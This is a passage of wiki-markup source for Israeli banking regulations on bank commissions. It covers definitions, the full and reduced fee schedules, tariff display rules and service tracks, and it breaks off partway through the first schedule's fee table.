{{ח:ת|סוג=הגדרה}} ”חשבון תשלום“ – {{ח:הערה|(החל מיום 1.7.2027):}} כהגדרתו {{ח:חיצוני|חוק שירותי תשלום|בחוק שירותי תשלום, התשע״ט–2019}}, ובכלל זה חשבון עובר ושב;
{{ח:ת|סוג=הגדרה}} ”יחיד“ – לרבות נציגות בית משותף;
{{ח:ת|סוג=הגדרה}} ”לקוח מזדמן“ – מי שאינו בעלים בחשבון המתנהל בתאגיד הבנקאי, מיופה כוח או מורשה חתימה בחשבון כאמור;
{{ח:ת|סוג=הגדרה}} ”מכשיר מרוחק“ – מכשיר הנמצא במרחק העולה על 500 מטרים מסניף של התאגיד הבנקאי המפעיל אותו;
{{ח:ת|סוג=הגדרה}} ”מכשיר סמוך“ – מכשיר הנמצא על גבי קיר של סניף של התאגיד הבנקאי המפעיל אותו או במרחק שאינו עולה על 500 מטרים מסניף של התאגיד הבנקאי המפעיל אותו;
{{ח:ת|סוג=הגדרה}} ”מכשיר נדרש“ – מכשיר המוצב בהתאם להחלטת המפקח לפי {{ח:חיצוני|חוק הבנקאות (רישוי)#סעיף 28א|סעיף 28א לחוק הבנקאות (רישוי), התשמ״א–1981}};
{{ח:ת|סוג=הגדרה}} ”מסלול“ – {{ח:הערה|תבוטל ביום 1.7.2027):}} כל אחד מאלה: מסלול בסיסי, מסלול מורחב, מסלול מורחב פלוס;
{{ח:ת|סוג=הגדרה}} ”מסלול בסיסי“ – {{ח:הערה|תבוטל ביום 1.7.2027):}} מסלול הכולל עד פעולה אחת על ידי פקיד ועד 10 פעולות בערוץ ישיר במהלך תקופה של חודש;
{{ח:ת|סוג=הגדרה}} ”מסלול מורחב“ – {{ח:הערה|תבוטל ביום 1.7.2027):}} מסלול הכולל עד 10 פעולות על ידי פקיד ועד 50 פעולות בערוץ ישיר, והכול במהלך תקופה של חודש;
{{ח:ת|סוג=הגדרה}} ”מסלול מורחב פלוס“ – {{ח:הערה|תבוטל ביום 1.7.2027):}} מסלול הכולל את הפעולות ומספרן לפי המסלול המורחב, וכן שירותים נוספים לפי החלטת התאגיד הבנקאי, והכול במהלך תקופה של חודש;
{{ח:ת|סוג=הגדרה}} ”אדם עם מוגבלות“ – {{ח:הערה|תבוטל ביום 1.7.2027):}} לקוח שהציג לבנק אישור ממשרד הביטחון או מהמוסד לביטוח לאומי, כמשמעותו {{ח:חיצוני|חוק הביטוח הלאומי|בחוק הביטוח הלאומי [נוסח משולב], התשנ״ה–1994}}, ולפיו הוא סובל מנכות בשיעור של 40% או יותר;
{{ח:ת|סוג=הגדרה}} ”עסק קטן“ – כל אחד מאלה:
{{ח:ת|סוג=הגדרה}} ”עסק קטן“ – {{ח:הערה|החל מיום 1.7.2027):}} לעניין הגדרת תאגיד לפי {{ח:חיצוני|חוק הבנקאות (שירות ללקוח)#סעיף 9ט|סעיף 9ט(ו) לחוק}}, כל אחד מאלה:
{{ח:תתת|(1)}} {{ח:הערה|(נמחקה);}}
{{ח:תתת|(2)}} תאגיד שטרם חלפה שנה מיום התאגדותו;
{{ח:תתת|(3)}} תאגיד שמסר לתאגיד הבנקאי דוח שנתי, על פיו מחזור העסקים שלו בשנה שקדמה למועד מסירתו, אינו עולה על חמישה מיליון שקלים חדשים; מסר תאגיד לתאגיד הבנקאי דוח שנתי כאמור, יסווגו התאגיד הבנקאי כעסק קטן החל מה־1 בחודש העוקב לחודש שבו נמסר הדוח השנתי והתאגיד לא יידרש למסור דוח שנתי נוסף; היה לתאגיד הבנקאי יסוד סביר להניח כי מחזור העסקים של אותו תאגיד בשנה האחרונה עולה על חמישה מיליון שקלים חדשים, רשאי הוא לדרוש בכתב מאותו תאגיד למסור לו דוח שנתי; לא נענתה דרישתו זו, רשאי התאגיד הבנקאי לסווג את אותו תאגיד כעסק שאינו עסק קטן החל ב־1 בחודש השני שלאחר משלוח הדרישה;
{{ח:תתת|(4)}} {{ח:הערה|(בוטלה);}}
{{ח:תתת|(5)}} על אף האמור בפסקאות (2) עד (3), לעניין {{ח:פנימי|תוספת 1 חלק 12|חלקים 12}} {{ח:פנימי|תוספת 1 חלק 13|ו־13 לתוספת הראשונה}} יראו כעסק קטן {{ח:הערה|של}} תאגיד שטרם חלפה שנה מיום התאגדותו או שמחזור הסליקה השנתי של עסקאות בכרטיסי חיוב שנעשית בעבורו על ידי התאגיד הבנקאי אינו עולה על שלושה מיליון שקלים חדשים בשנה; לעניין פסקה זו, בדיקת מחזור הסליקה השנתי תיעשה על פי הנתונים המצויים בידי התאגיד הבנקאי;
{{ח:תת}} למעט תאגיד שהוקם על פי דין, קרן הון סיכון, כהגדרתה {{ח:חיצוני|חוק ניירות ערך#תוספת 1 פרט 9|בפסקה (9) לתוספת הראשונה לחוק ניירות ערך, התשכ״ח–1968}} (להלן – קרן הון סיכון), וחברה אשר מסרה דוח שנתי המציג השקעה של קרן הון סיכון בסכום העולה על חמישה מיליון שקלים חדשים, וכן למעט חברה שכל בעלי המניות בה הם תאגידים שאינם ”עסק קטן“;
{{ח:ת|סוג=הגדרה}} ”ערוצי קשר המוצעים על ידי התאגיד הבנקאי“ – מענה טלפוני והאזור האישי של הלקוח באתר האינטרנט של התאגיד הבנקאי, לכל הפחות;
{{ח:ת|סוג=הגדרה}} ”פריטה“ – מסירת שטר או מטבע או צירוף של שניהם כנגד קבלת שטר או מטבע או צירוף של שניהם בערך שווה לסכום הנקוב בהם, למעט החלפה של הילך חוקי ישן בהילך חוקי חדש בעריך זהה;
{{ח:ת|סוג=הגדרה}} ”ש״ח“ – שקלים חדשים;
{{ח:ת|סוג=הגדרה}} ”תחילת קבלת השירות“ – בחשבון עובר ושב – בעת חתימת הלקוח על חוזה פתיחת החשבון; בהנפקת כרטיס חיוב – בעת חתימת הלקוח על חוזה ההנפקה; במתן הלוואה לדיור – בעת מתן האישור העקרוני ללקוח; בסליקה של עסקאות בכרטיסי חיוב – בעת חתימת הלקוח על חוזה הסליקה;
{{ח:ת|סוג=הגדרה}} ”תחילת קבלת השירות“ – {{ח:הערה|(החל מיום 1.7.2027):}} בחשבון תשלום – בעת כריתת חוזה פתיחת החשבון; בהנפקת כרטיס חיוב – בעת כריתת חוזה ההנפקה; במתן הלוואה לדיור – בעת מתן האישור העקרוני ללקוח; בסליקה של עסקאות בכרטיסי חיוב – כריתת חוזה הסליקה.

{{ח:סעיף|2|התעריפון המלא|תיקון: תשע״ג־2, תשע״ה, תשע״ז, תשפ״ו}}
{{ח:תת|(א)}} התעריפון המלא ללקוחות המקבלים שירות מתאגיד בנקאי הוא כמפורט {{ח:פנימי|תוספת 1|בתוספת הראשונה}}.
{{ח:תת|(ב)}} עמלה שרשאי תאגיד בנקאי לגבות בעד שירות הכלול בתעריפון המלא, תחושב באופן שלא תעלה על סכום או שיעור העמלה הנגבית בעד אותו שירות מתאגיד שאינו עסק קטן, למעט עמלה בעד שירות סליקה של עסקאות בכרטיס חיוב.
{{ח:תת|(ג)}} עמלה שרשאי תאגיד בנקאי לגבות בעד שירות הכלול בתעריפון המלא, הניתן בערוץ ישיר, תהיה נמוכה מסכום או משיעור העמלה שהתאגיד הבנקאי קבע לאותו שירות הניתן באמצעות פקיד, למעט אם השירות באמצעות פקיד ניתן בלא עלות; {{ח:הערה|(החל מיום 1.7.2027):}} סעיף זה לא יחול על שירות ניהול חשבון תשלום.
{{ח:תת|(ד)}} תאגיד בנקאי המבקש לגבות מלקוח מזדמן עמלה שקבע לפי {{ח:פנימי|תוספת 1|התוספת הראשונה}}, שהיא גבוהה מסכום או משיעור העמלה שהוא קבע כאמור בעד אותו שירות הניתן ללקוח שאינו לקוח מזדמן, יוודא שהלקוח הוא לקוח מזדמן.
{{ח:תת}} {{ח:הערה|(החל מיום 1.7.2027):}} תאגיד בנקאי המבקש לגבות מלקוח מזדמן עמלה, שהיא גבוהה מסכום או משיעור העמלה שהוא קבע כאמור בעד אותו שירות הניתן ללקוח שאינו לקוח מזדמן, יוודא שהלקוח הוא לקוח מזדמן.
{{ח:תת|(ה)}} {{ח:הערה|(החל מיום 1.7.2027):}} תאגיד בנקאי המציע שירות הכלול {{ח:פנימי|תוספת 1 פרט 14א|בפרט 14(א) לתעריפון המלא שבתוספת הראשונה}}, רשאי לגבות עמלות בעד שירות כאמור לפי פרט זה או לפי {{ח:פנימי|תוספת 1 פרט 1.1א|פרט 1(א1) לתעריפון המלא שבתוספת הראשונה}}.

{{ח:סעיף|3|התעריפונים המצומצמים|תיקון: תשע״ה, תשע״ה־3, תשפ״ו}}
{{ח:ת}} התעריפונים המצומצמים יהיו כלהלן:
{{ח:תת|(1)}} ללקוחות המקבלים מהתאגיד הבנקאי שירות של ניהול חשבון עובר ושב – כמפורט {{ח:פנימי|תוספת 2|בתוספת השניה}};
{{ח:תת}} {{ח:הערה|(החל מיום 1.7.2027):}} ללקוחות המקבלים מהתאגיד הבנקאי שירות של ניהול חשבון תשלום – כמפורט {{ח:פנימי|תוספת 2|בתוספת השניה}};
{{ח:תת|(2)}} ללקוחות המקבלים מהתאגיד הבנקאי שירות של הלוואה לדיור – כמפורט {{ח:פנימי|תוספת 3|בתוספת השלישית}};
{{ח:תת|(3)}} ללקוחות שהתאגיד הבנקאי הנפיק להם כרטיס חיוב – כמפורט {{ח:פנימי|תוספת 4|בתוספת הרביעית}};
{{ח:תת|(4)}} ללקוחות המקבלים מהתאגיד הבנקאי שירות סליקה של עסקאות בכרטיס חיוב – כמפורט {{ח:פנימי|תוספת 5|בתוספת החמישית}}.

{{ח:סעיף|4|הצגת התעריפונים ללקוח ומסירתם|תיקון: תשע״ג, תשע״ה־3, תשע״ז, תשע״ט, תשפ״ו}}
{{ח:תת|(א)}} תאגיד בנקאי יציג בסניפיו, במקום בולט לעין, את התעריפון המלא על נספחיו ואת התעריפונים המצומצמים.
{{ח:תת|(ב)}} תאגיד בנקאי יאפשר לכל אדם לקבל את התעריפון המלא על נספחיו ואת התעריפונים המצומצמים בערוצי הקשר המוצעים על ידי התאגיד הבנקאי או בסניפיו, על פי העדפת הלקוח, ובאמצעות קישור ישיר מדף הבית של אתר האינטרנט שלו; כן יאפשר התאגיד הבנקאי ללקוחותיו לקבל את התעריפונים המצומצמים באמצעות מכשירים אוטומטיים שהוא מעמיד לשירות לקוחותיו.
{{ח:תת|(ג)}} תאגיד בנקאי ימסור ללקוח את התעריפון המצומצם המתאים לשירות שמקבל הלקוח מהתאגיד הבנקאי, כאמור {{ח:פנימי|סעיף 3|בסעיף 3}}, בעת תחילת קבלת השירות; {{ח:הערה|(החל מיום 1.7.2027):}} הצטרף לקוח לחבילה לפי {{ח:פנימי|תוספת 1 חלק 16|חלק 16 שבתוספת הראשונה}}, ימסור לו התאגיד הבנקאי את {{ח:פנימי|תוספת 1 נספח א1|נספח א׳1 שבתוספת הראשונה}}, הכולל את תכולת החבילה שאליה הצטרף.
{{ח:תת|(ד)}} לעניין {{ח:פנימי|תוספת 1 חלק 12|חלק 12 לתוספת הראשונה}} ולעניין {{ח:פנימי|תוספת 5|התוספת החמישית}}, לגבי לקוחות שחשבונם מנוהל במטבע חוץ, רשאי התאגיד הבנקאי להציג את מחירי השירותים במטבע חוץ.
{{ח:תת|(ה)}} תאגיד בנקאי יציג, במסך הכניסה של כל מכשיר אוטומטי המאפשר משיכת מזומן או באמצעות סימון על גבי המכשיר האוטומטי, מידע על אודות העמלה שהוא גובה בעד משיכת מזומן לפי סוגי כרטיסי החיוב ובהתאם לסוג המכשיר; לעניין זה –
{{ח:תת|סוג=הגדרה}} ”מסך כניסה“ – מסך המופיע באופן אוטומטי לפני פעולה כלשהי של הלקוח;
{{ח:תת|סוג=הגדרה}} ”סוג מכשיר“ – מכשיר מרוחק, מכשיר סמוך ומכשיר נדרש.

{{ח:סעיף|4א|הצטרפות למסלול|תיקון: תשע״ד, תשע״ה, תשע״ו, תשע״ט, תשפ״ד, תשפ״ו}}
{{ח:תת|(א)}} תאגיד בנקאי יכלול במסגרת השירותים המוצעים ללקוח את המסלול הבסיסי ואת המסלול המורחב, ויאפשר לכל לקוח להצטרף אליהם.
{{ח:תת|(ב)}} תאגיד בנקאי יאפשר לכל לקוח להצטרף לאחד המסלולים באמצעות מתן הודעה לתאגיד הבנקאי שתימסר בסניף התאגיד הבנקאי או בערוצי הקשר המוצעים על ידי התאגיד הבנקאי, על פי העדפת הלקוח (להלן – הודעת ההצטרפות); ההצטרפות תיכנס לתוקף ב־1 בחודש שלאחר מועד מסירת הודעת ההצטרפות.
{{ח:תת|(ב1)}} נגבו מלקוח שהוא אזרח ותיק או אדם עם מוגבלות, עמלות לפי {{ח:פנימי|תוספת 1 פרט 1א.2|פרט 1(א)(2)}} {{ח:פנימי|תוספת 1 פרט 1א.3|או (3) שבתוספת הראשונה}}, בסכום העולה על הסכום שהיה משלם בפועל אילו היה מצטרף למסלול הבסיסי, בכל חודש במהלך תקופה של שנת כספים, יחשב התאגיד הבנקאי את ההפרשים בין הסכומים האמורים; מצא התאגיד הבנקאי כי ההפרשים בכל חודש גבוהים מאפס, יצרפו התאגיד הבנקאי למסלול הבסיסי עד יום 1 במרס של השנה העוקבת; התאגיד הבנקאי יודיע ללקוח כאמור על צירופו למסלול הבסיסי ועל אפשרותו לבטל את צירופו; ההודעה תינתן בכתב באופן שבו נוהג התאגיד הבנקאי למסור לאותו לקוח הודעות.
{{ח:תת|(ב2)}} נגבו מלקוח שהוא עסק קטן או עוסק מורשה כהגדרתו {{ח:חיצוני|חוק מס ערך מוסף|בחוק מס ערך מוסף, התשל״ו–1975}}, עמלות לפי {{ח:פנימי|תוספת 1 פרט 1א.2|פרט 1(א)(2)}} {{ח:פנימי|תוספת 1 פרט 1א.3|או (3) שבתוספת הראשונה}}, בסכום העולה על הסכום שהיה משלם בפועל אילו היה מצטרף למסלול הבסיסי או למסלול המורחב, בכל חודש במהלך תקופה של שנת כספים, יחשב התאגיד הבנקאי את ההפרשים בין הסכומים האמורים, לגבי כל אחד מהמסלולים; מצא התאגיד הבנקאי כי ההפרשים בכל חודש גבוהים מאפס, יצרפו למסלול הבסיסי או המורחב, בהתאם לממוצע ההפרשים הגבוה יותר, עד יום 1 במרס של השנה העוקבת; התאגיד הבנקאי יודיע ללקוח כאמור על צירופו למסלול ועל אפשרותו לבטל את צירופו; ההודעה תינתן בכתב באופן שבו נוהג התאגיד הבנקאי למסור לאותו לקוח הודעות.
{{ח:תת|(ג)}} הצטרף לקוח לאחד המסלולים וחרג מהמכסה המרבית של הפעולות הכלולות באותו מסלול כמפורט {{ח:פנימי|תוספת 1 פרט 1ג|בפרט 1(ג) לחלק 1 לתוספת הראשונה}}, רשאי התאגיד הבנקאי לגבות עמלה בעד הפעולות הנוספות לפי התעריפון המלא; הערות 1 ו־2 המופיעות בטור ”הערות“ לצד {{ח:פנימי|תוספת 1 פרט 1א.2|פסקה (2) שבפרט 1(א) לחלק 1 לתוספת הראשונה}} יחולו על גביית עמלה בעד פעולות נוספות כאמור.
{{ח:תת|(ד)}} לקוח רשאי לבטל את הצטרפותו לאחד המסלולים באמצעות מתן הודעה לתאגיד הבנקאי שתימסר בסניף התאגיד הבנקאי או בערוצי הקשר המוצעים על ידי התאגיד הבנקאי, על פי העדפת הלקוח (להלן – הודעת הביטול); הביטול ייכנס לתוקף ב־1 בחודש שלאחר מועד מסירת הודעת הביטול.
{{ח:תת|(ה)}} על אף האמור בסעיפים קטנים (ב) ו־(ד), תאגיד בנקאי רשאי לאפשר ללקוחותיו להכניס לתוקף בקשת הצטרפות או בקשת ביטול לפני 1 בחודש שלאחר מועד מסירת ההודעה, ובלבד שיקבע ויפרסם מנגנון סביר והוגן לחישוב החלק היחסי שיגבה מהלקוח בעד חלקי החודש.
{{ח:ת}} {{ח:הערה|(החל מיום 1.7.2027):}}
{{ח:תת|(א)}} {{ח:הערה|(בוטל).}}
{{ח:תת|(ב)}} {{ח:הערה|(בוטל).}}
{{ח:תת|(ב1)}} {{ח:הערה|(בוטל).}}
{{ח:תת|(ב2)}} {{ח:הערה|(בוטל).}}
{{ח:תת|(ג)}} {{ח:הערה|(בוטל).}}
{{ח:תת|(ד)}} לקוח רשאי לבטל את הצטרפותו לשירות המוצע בדמי מנוי {{ח:פנימי|תוספת 1 חלק 16|במסגרת חלק 16 לתעריפון המלא}} באמצעות מתן הודעה לתאגיד הבנקאי שתימסר בסניף התאגיד הבנקאי או בערוצי הקשר המוצעים על ידי התאגיד הבנקאי, על פי העדפת הלקוח (להלן – הודעת הביטול); הביטול ייכנס לתוקף ב־1 בחודש שלאחר מועד מסירת הודעת הביטול.
{{ח:תת|(ה)}} על אף האמור בסעיף קטן (ד), תאגיד בנקאי רשאי לאפשר ללקוחותיו להכניס לתוקף בקשת ביטול לפני 1 בחודש שלאחר מועד מסירת ההודעה, ובלבד שיחליט על מנגנון סביר והוגן לחישוב החלק היחסי שיגבה מהלקוח בעד חלקי החודש ויפרסם אותו.

{{ח:סעיף|5|תחילה}}
{{ח:ת}} תחילתם של כללים אלה כאמור {{ח:חיצוני|https://fs.knesset.gov.il/17/law/17_lsr_300135.pdf|בסעיף 6(ד) לחוק הבנקאות (שירות ללקוח) (תיקון מס׳ 12), התשס״ז–2007}}.

{{ח:קטע2|תוספת 1|תוספת ראשונה}}
{{ח:קטע4||{{ח:הערה|({{ח:פנימי|סעיף 1|סעיפים 1}}, {{ח:פנימי|סעיף 2|2}}, {{ח:פנימי|סעיף 4|4}} {{ח:פנימי|סעיף 4א|ו־4א}})}}|תיקון: תשע״ד, תשע״ט}}
{{ח:קטע3||התעריפון המלא}}

{{ח:סעיף*|||תיקון: תשס״ח, תשס״ח־2, תש״ע, תשע״ג, תשע״ד, תשע״ה, תשע״ה־2, תשע״ה־3, תשע״ה־4, תשע״ו, תשע״ז, תשע״ט, י״פ תשפ״ב, תשפ״ד, תשפ״ה, תשפ״ה־2, תשפ״ו}}
{{ח:ת}} &lt;table width=&quot;100%&quot;&gt;
&lt;tr&gt;&lt;th width=&quot;40%&quot;&gt;שירות&lt;/th&gt;&lt;th&gt;מחיר&lt;/th&gt;&lt;th&gt;מועד הגביה&lt;/th&gt;&lt;th&gt;הערות&lt;/th&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 חלק 1&quot;&gt;&lt;td colspan=&quot;4&quot;&gt;{{ממורכז|{{מוגדל|'''חלק 1 – חשבון עובר ושב'''}}}}&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 1א&quot;&gt;&lt;td colspan=&quot;4&quot;&gt;'''1(א) – שירותים נפוצים בחשבון עובר ושב'''&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 1א.1&quot;&gt;&lt;td&gt;
{{ח:תתת|(1)}} '''דמי ניהול חשבון לעסק קטן''' {{ח:הערה|(נמחקה)}}
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 1א.2&quot;&gt;&lt;td&gt;
{{ח:תתת|(2)}} '''פעולה על ידי פקיד'''
{{ח:תתת}} פעולות כמפורט להלן, הנעשות באמצעות פקיד בנק, לרבות באמצעות מוקד טלפוני מאויש:
{{ח:תתתת|(1)}} הפקדת מזומן
{{ח:תתתת|(2)}} משיכת מזומן
{{ח:תתתת|(3)}} הפקה ומסירת תדפיס לבקשת לקוח
{{ח:תתתת|(4)}} העברה או הפקדה לחשבון אחר
{{ח:תתתת|(5)}} פדיון שיק (כולל משיכה בשיק עצמי)
{{ח:תתתת|(6)}} הפקדת שיק (לכל קבוצת שיקים – עד 20 שיקים)
{{ח:תתתת|(7)}} תשלום שובר
{{ח:תתתת|(8)}} פריטת מזומן
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} . . . . ש״ח (בפיקוח)
{{ח:ת}} לקוח מזדמן – . . . . ש״ח
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} בתחילת החודש בעד החודש שקדם לו
{{ח:ת}} ולגבי לקוח מזדמן – במועד ביצוע הפעולה
&lt;/td&gt;&lt;td&gt;
{{ח:תת|1.}} לקוח שאינו מחזיק כרטיס למשיכת מזומן, לקוח שהוא אדם עם מוגבלות ולקוח שהוא אזרח ותיק, זכאים ל־4 פעולות על ידי פקיד בחודש במחיר פעולה בערוץ ישיר. זכאות כאמור של אדם עם מוגבלות תחל ב־1 בחודש שלאחר הצגת תעודה או אישור כנדרש.
{{ח:תת|2.}} במקרה שהתאגיד הבנקאי אינו מעמיד לרשות הלקוחות אפשרות סבירה לבצע פעולות של הפקדת שיקים או הפקדת מזומן בערוץ ישיר, גובהה המרבי של עמלה זו, בשל ביצוע אותן פעולות, יהיה בגובה עמלה בשל פעולה בערוץ ישיר.
{{ח:תת|3.}} הבנק רשאי לגבות בחודש את הגבוה מבין שני אלה:
{{ח:תתת|(1)}} הסכום הכולל של העמלות בשל פעולות בערוץ ישיר ופעולות על ידי פקיד שביצע הלקוח בפועל.
{{ח:תתת|(2)}} עמלת מינימום בסכום שאינו עולה על מחיר של פעולה אחת על ידי פקיד.
{{ח:תת|4.}} אין לגבות עמלה זו נוסף על עמלת טיפול במזומנים על ידי פקיד.
&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 1א.3&quot;&gt;&lt;td&gt;
{{ח:תתת|(3)}} '''פעולה בערוץ ישיר'''
{{ח:תתת}} אחת הפעולות האלה:
{{ח:תתתת|(1)}} זיכוי חשבון באמצעות מסלקה
{{ח:תתתת|(2)}} חיוב בכרטיס אשראי
{{ח:תתתת|(3)}} הפקדת מזומן
{{ח:תתתת|(4)}} משיכת מזומן במכשיר אוטומטי&lt;sup&gt;1&lt;/sup&gt;
{{ח:תתתת|(5)}} העברה או הפקדה לחשבון אחר
{{ח:תתתת|(6)}} תשלום שובר
{{ח:תתתת|(7)}} שאילתת מידע בכל נושא (החל בשאילתה השביעית בחודש)&lt;sup&gt;2&lt;/sup&gt;
{{ח:תתתת|(8)}} משיכת שיק
{{ח:תתתת|(9)}} הפקדת שיק (לכל קבוצת שיקים – עד 20 שיקים), לרבות באמצעות תיבת שירות
{{ח:תתתת|(10)}} חיוב על פי הרשאה לחיוב חשבון או הוראת קבע
&lt;/td&gt;&lt;td&gt;. . . . ש״ח (בפיקוח)&lt;/td&gt;&lt;td&gt;בתחילת החודש בעד החודש שקדם לו&lt;/td&gt;&lt;td&gt;
{{ח:ת}} אין לגבות את העמלה בעד שאילתות מידע באמצעות האינטרנט, מענה טלפוני ממוחשב (IVR) או בעד פעולת חיוב בכרטיס חיוב מיידי.
{{ח:ת}} במקרה של ביטול הרשאה לחיוב חשבון או הוראת קבע לפני שהוצגו 6 חיובים לפחות – התאגיד הבנקאי רשאי לגבות עמלה בגובה של עד 6 פעולות בערוץ ישיר&lt;sup&gt;3&lt;/sup&gt;.
&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 1א.4&quot;&gt;&lt;td&gt;
{{ח:תתת|(4)}} '''פנקס שיקים'''
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} רגיל – . . . . ש״ח (בפיקוח)
{{ח:ת}} מיוחד – . . . . ש״ח
{{ח:ת}} {{מוקטן|לפי פירוט שיקבע התאגיד הבנקאי בנספח שיצורף לתעריפון ויימסר ללקוח}}
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 1א.5&quot;&gt;&lt;td&gt;
{{ח:תתת|(5)}} '''כרטיס מידע''' {{ח:הערה|(נמחקה)}}
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 1א.6&quot;&gt;&lt;td&gt;
{{ח:תתת|(6)}} '''כרטיס משיכת מזומן''' {{ח:הערה|(נמחקה)}}
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 1א.7&quot;&gt;&lt;td&gt;
{{ח:תתת|(7)}} '''שיק בנקאי'''
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 1א.8&quot;&gt;&lt;td&gt;
{{ח:תתת|(8)}} '''טיפול במזומנים על ידי פקיד'''
{{ח:תתת}} שירות זה כולל:
{{ח:תתתת|(1)}} משיכת מזומן
{{ח:תתתת|(2)}} הפקדת מזומן
{{ח:תתתת|(3)}} פריטת מזומן
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} מטבעות – . . . . ש״ח {{ש}} שטרות – . . . . אחוז
{{ח:ת}} ולגבי לקוח מזדמן {{ש}} מטבעות – . . . . ש״ח {{ש}} שטרות – . . . . אחוז
&lt;/td&gt;&lt;td&gt;לגבי לקוח מזדמן – במועד ביצוע הפעולה&lt;/td&gt;&lt;td&gt;
{{ח:ת}} לכל 100 מטבעות {{ש}} מעל 10,000 ש״ח
{{ח:ת}} פעולת פריטת מזומן כוללת את משיכתו או הפקדתו; בעד פעולת פריטה הכוללת מטבעות ושטרות, רשאי התאגיד הבנקאי לגבות עמלה אחת בלבד, הגבוהה מבין העמלות בעד פעולות אלה.
&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 1א.9&quot;&gt;&lt;td&gt;
{{ח:תתת|(9)}} '''החזרת חיוב מסיבת אין כיסוי מספיק (ומהסיבות מוגבל, מעוקל, צו משפטי)'''
{{ח:תתת}} חיוב באמצעות –
{{ח:תתתת|(1)}} הוראת קבע
{{ח:תתתת|(2)}} הרשאה לחיוב חשבון
{{ח:תתתת|(3)}} שיק
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 1א.10&quot;&gt;&lt;td&gt;
{{ח:תתת|(10)}} {{ח:הערה|(תימחק ביום 1.10.2026):}} '''חיוב מושך בהחזרת שיק מסיבה טכנית'''
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;במקרה של החזרת שיק מסיבה טכנית מחמת טעות של תאגיד בנקאי, החיוב יושב ללקוח בתוך 5 ימי עסקים ממועד גילוי הטעות{{ח:הערה|.}}&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 1א.11&quot;&gt;&lt;td&gt;
{{ח:תתת|(11)}} '''חיוב מפקיד בהחזרת שיק''' {{ח:הערה|(נמחקה)}}
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 1א.12&quot;&gt;&lt;td&gt;
{{ח:תתת|(12)}} '''הוראה לביטול חיוב'''
{{ח:תתת}} חיוב:
{{ח:תתתת|(1)}} שיק
{{ח:תתתת|(2)}} חיוב בודד על פי הרשאה לחיוב חשבון
{{ח:תתתת|(3)}} חיוב בודד על פי הוראת קבע
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;במקרה של ביטול סדרה של שיקים עוקבים ניתן לגבות עמלה מרבית בגובה של 3 הוראות ביטול&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 1ב&quot;&gt;&lt;td colspan=&quot;4&quot;&gt;'''(ב) – שירותים מיוחדים או עסקיים'''&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 1ב.1&quot;&gt;&lt;td&gt;
{{ח:תתת|(1)}} '''העברות ברשימה (לרבות משכורת)'''
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} {{מוקטן|לפי פירוט שיקבע התאגיד הבנקאי, ובלבד שלא יעלה על 2 עמלות}}
{{ח:ת}} . . . . ש״ח
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 1ב.2&quot;&gt;&lt;td&gt;
{{ח:תתת|(2)}} '''הוראת קבע לקיזוז יומי'''
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 1ב.3&quot;&gt;&lt;td&gt;
{{ח:תתת|(3)}} '''טיפול בשיק דחוי'''
{{ח:תתת}} שירות זה כולל –
{{ח:תתתת|(1)}} הפקדת שיק דחוי
{{ח:תתתת|(2)}} שינוי מועד להצגת שיק דחוי
{{ח:תתתת|(3)}} החזרת שיק דחוי למפקיד טרם פירעונו
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} בדלפק – . . . . ש״ח
{{ח:ת}} בשידור – . . . . ש״ח
